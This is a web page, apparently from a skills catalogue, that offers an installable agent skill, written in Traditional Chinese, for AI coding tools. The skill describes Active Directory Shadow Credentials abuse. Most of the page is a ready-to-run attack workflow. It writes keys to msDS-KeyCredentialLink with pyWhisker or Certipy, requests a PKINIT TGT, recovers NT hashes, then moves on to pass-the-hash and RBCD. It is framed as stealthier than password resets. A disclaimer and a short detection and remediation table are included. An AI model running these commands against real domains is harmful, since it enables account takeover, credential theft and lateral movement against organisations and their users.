Communitygithub.com

濫用影子憑證進行權限提升

透過將攻擊者控制的公鑰寫入 Active Directory 物件的 msDS-KeyCredentialLink 屬性(影子憑證),結合 pyWhisker、Whisker 或 Certipy 工具,利用 PKINIT 驗證來接管目標帳戶並還原 NT 雜湊。

濫用影子憑證進行權限提升 是什麼?

這項技術專門用於濫用 Active Directory 中的影子憑證(Shadow Credentials)漏洞。攻擊者需要對目標物件的 `msDS-KeyCredentialLink` 屬性具有寫入權限(例如 GenericWrite、GenericAll、WriteProperty 或 AddKeyCredentialLink)。透過 pyWhisker、Whisker 或 Certipy 等工具,攻擊者可以生成一組金鑰對,並將公鑰寫入目標屬性,接著用 PKINIT 請求 TGT,最終還原目標帳戶的 NT 雜湊。這種手法無須重設密碼,因此比強制重設密碼更隱蔽,可繞過常規偵測。它支援 Linux 攻擊主機,需要一個執行 Windows Server 2016 以上版本的域控制器,並與 BloodHound 的 ACL 路徑分析整合。技術來源包括 Elad Shamir 的研究、pyWhisker、Whisker 和 Certipy 工具。

相容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

在你喜歡的 AI 中提問

開啟一個已預先載入此 Agent Skill 的新對話。

說明文件

濫用影子憑證進行權限提升 是做什麼的?

法律聲明: 本技能僅用於授權的安全測試和教育目的。影子憑證會導致目標帳戶完全被接管。僅可對您擁有或經書面明確授權測試的系統使用。未經授權的存取屬於犯罪行為。

概述

影子憑證技術濫用了 Active Directory 使用者與電腦物件的 msDS-KeyCredentialLink 屬性。這個屬性儲存了 Windows Hello 企業版與 Azure AD 裝置註冊所使用的原始公開金鑰(「金鑰憑證」),用於透過 PKINIT(公開金鑰密碼學初始 Kerberos 驗證)進行無密碼憑證登入。如果攻擊者對目標物件的 msDS-KeyCredentialLink 具有寫入權限(通常由 BloodHound 中顯示的 GenericWrite、GenericAll、WriteProperty 或 AddKeyCredentialLink ACE 授予),他們可以附加自己生成的公開金鑰。接著,使用對應的私鑰透過 PKINIT 為目標請求 TGT,並還原目標的 NT 雜湊。這可在不重設密碼的情況下實現完整的帳戶接管,遠比強制重設密碼更隱蔽。

這項技術由 Elad Shamir 發表(「影子憑證:濫用金鑰信任帳戶映射進行帳戶接管」),並在 C# 工具 Whisker 中實作。Python 版本 pyWhisker(ShutdownRepo)透過 LDAP 操作屬性,而 Certipy 則透過 certipy shadow auto 整合了整個鏈。目標環境必須支援 PKINIT,並至少有一台執行 Windows Server 2016 或更新版本的域控制器。來源:pyWhisker、Whisker、The Hacker Recipes — 影子憑證。

使用時機

  • 當 BloodHound 顯示對更高價值的使用者或電腦具有 GenericWrite/GenericAll/AddKeyCredentialLink 權限時
  • 作為 ForceChangePassword 的更隱蔽替代方案(無密碼重設 = 較少干擾/警報)
  • 為了接管電腦帳戶,以便鏈式進行資源型限制委派(RBCD)攻擊
  • 在紅隊行動中需要帳戶接管,但不想鎖定合法使用者時
  • 用於紫隊演練,以產生 msDS-KeyCredentialLink 修改的遙測資料

先決條件

  • 授權的演練範圍,包含 AD 憑證存取技術
  • 控制一個對目標的 msDS-KeyCredentialLink 具有寫入權限的主體
  • 一台執行 Windows Server 2016+ 且啟用 PKINIT 的 DC(支援金鑰信任的網域功能等級)
  • 能夠透過網路連線到 DC 的 LDAP(389/636)和 Kerberos(88)連接埠
  • Linux 攻擊主機,需安裝 Python 3.8+;安裝工具:
    # pyWhisker(從原始碼安裝)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy(整合影子攻擊)
    pipx install certipy-ad
    # PKINITtools 用於手動 TGT/NT 雜湊提取
    git clone https://github.com/dirkjanm/PKINITtools
    

目標

  • 確認對目標的 msDS-KeyCredentialLink 具有寫入權限
  • 生成金鑰對並將金鑰憑證附加到目標物件
  • 使用新的金鑰透過 PKINIT 為目標請求 TGT
  • 還原目標的 NT 雜湊,用於傳遞雜湊攻擊 / 進一步橫向移動
  • 清除注入的金鑰憑證,還原物件的狀態
  • 記錄啟用攻擊的 ACL 路徑,以便進行修復

MITRE ATT&CK 映射

ID技術在本技能中的應用
T1098.005帳戶操縱:裝置註冊將攻擊者控制的金鑰憑證(裝置金鑰)寫入 msDS-KeyCredentialLink,為目標帳戶註冊一個替代的驗證憑證

工作流程

步驟 1:確認寫入權限

列出目標上現有的金鑰憑證,以驗證您擁有所需的存取權限。空的或可讀取的結果確認您具有執行 add 步驟的寫入權限。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

步驟 2:使用 pyWhisker 新增影子憑證

生成憑證/金鑰對,並將其寫入目標的 msDS-KeyCredentialLink。pyWhisker 會輸出一個您可控制的 PFX 檔案。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# 產生 victim_shadow.pfx 並顯示 PFX 密碼

如果您只有票證,可使用 Kerberos 驗證代替密碼:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

步驟 3:透過 PKINIT 請求 TGT

使用產生的 PFX 搭配 PKINITtools,為目標帳戶取得 Kerberos TGT。

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

步驟 4:還原 NT 雜湊

從 AS-REP 中使用步驟 3 的工作階段金鑰提取目標的 NT 雜湊(getnthash.py 讀取 AS-REP 加密金鑰,該金鑰由 gettgtpkinit.py 顯示)。

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# 顯示 'victim' 的 NT 雜湊

步驟 5:使用 Certipy 一次性替代方案

Certipy 的 shadow auto 自動執行新增 → PKINIT → 傾印雜湊 → 清理,非常適合電腦帳戶接管。

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# 對於電腦帳戶,使用末尾帶 $ 的 sAMAccountName
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

步驟 6:使用還原的憑證

使用 NT 雜湊(或 TGT)繼續進行後續攻擊。

# 使用 NetExec 進行傳遞雜湊攻擊
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# 或直接使用 TGT
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

步驟 7:將電腦接管鏈式轉為 RBCD(可選)

當目標是電腦時,還原的金鑰/雜湊可讓您設定資源型限制委派,以便模擬任何使用者存取該主機。

# 設定 RBCD,使攻擊者控制的 SPN 可以模擬存取 WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

步驟 8:清理

移除注入的金鑰憑證,以還原物件並減少偵測足跡。

# pyWhisker:根據 device-id(新增時會顯示)移除,或清除您新增的所有項目
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto 會自動清理;否則:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

工具與資源

資源用途連結
pyWhiskerPython LDAP 操作 msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
Whisker原始 C# 實作https://github.com/eladshamir/Whisker
Certipyshadow auto 端到端接管https://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker Recipes技術逐步解說與防禦措施https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

偵測與修復注意事項

區域指導方針
偵測監控 Windows 安全事件識別碼 5136(目錄物件修改)中對 msDS-KeyCredentialLink 的變更;當非 AD Connect/非 Intune 主體寫入該屬性時發出警報。
稽核啟用使用者/電腦 OU 上的目錄服務物件變更稽核。
最小權限移除不必要的 GenericWrite/GenericAll/AddKeyCredentialLink ACE(BloodHound 的 AddKeyCredentialLink 邊)。
緩解措施在未使用 Windows Hello/裝置註冊的情況下,限制可寫入金鑰憑證的人員,並考慮使用第 0 層受保護帳戶。

驗證標準

  • 確認對目標的 msDS-KeyCredentialLink 具有寫入權限(list 成功)
  • 成功新增金鑰憑證(已生成 PFX)
  • 為目標帳戶取得 PKINIT TGT
  • 還原目標 NT 雜湊,並針對某項服務驗證成功
  • (如果是電腦)示範 RBCD 鏈或後續橫向移動
  • 移除注入的金鑰憑證 / 還原物件狀態
  • 記錄啟用 ACL 路徑,並附上修復建議

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

相關技能